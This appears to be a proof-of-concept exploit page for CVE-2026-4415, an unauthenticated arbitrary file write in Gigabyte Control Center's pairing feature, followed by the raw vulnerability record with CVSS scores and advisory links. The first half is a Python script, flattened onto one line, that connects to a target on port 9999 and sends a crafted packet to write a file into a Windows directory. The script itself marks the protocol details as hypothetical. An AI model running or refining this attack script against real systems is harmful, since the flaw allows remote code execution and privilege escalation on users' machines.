CVE-2026-4415

import socket import struct # Target configuration (Hypothetical) TARGET_IP = "192.168.1.10" TARGET_PORT = 9999 # Gigabyte Control Center default port # Exploit parameters # Exploit: Arbitrary File Write via Pairing Feature FILE_PATH = "C:\\Windows\\Temp\\exploit.txt" FILE_CONTENT = b"Vulnerable to CVE-2026-4415" def build_packet(path, content): """ Constructs a malicious packet based on the protocol logic. Structure: [CMD_ID][Path_Length][Path_String][Content_Length][Content] """ cmd_id = 0x01 # Command ID for file write (Hypothetical) path_bytes = path.encode('utf-16le') packet = struct.pack('<I', cmd_id) packet += struct.pack('<I', len(path_bytes)) packet += path_bytes packet += struct.pack('<I', len(content)) packet += content return packet def send_exploit(): print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") try: # Create socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Generate payload payload = build_packet(FILE_PATH, FILE_CONTENT) # Send malicious packet s.send(payload) print("[+] Payload sent successfully.") print(f"[*] Attempted to write file to: {FILE_PATH}") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-4415", "sourceIdentifier": "[email protected]", "published": "2026-03-30T08:16:18.107", "lastModified": "2026-04-08T19:25:28.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gigabyte Control Center developed by GIGABYTE has an Arbitrary File Write vulnerability. When the pairing feature is enabled, unauthenticated remote attackers can write arbitrary files to any location on the underlying operating system, leading to arbitrary code execution or privilege escalation."}, {"lang": "es", "value": "Gigabyte Control Center desarrollado por GIGABYTE tiene una vulnerabilidad de escritura de archivos arbitrarios. Cuando la función de emparejamiento está habilitada, atacantes remotos no autenticados pueden escribir archivos arbitrarios en cualquier ubicación del sistema operativo subyacente, lo que lleva a la ejecución de código arbitrario o a la escalada de privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gigabyte:control_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.12.10.01", "matchCriteriaId": "BFB45D7A-5C36-435B-ABCB-7A89DCC760AA"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10804-689cd-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10803-ae014-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}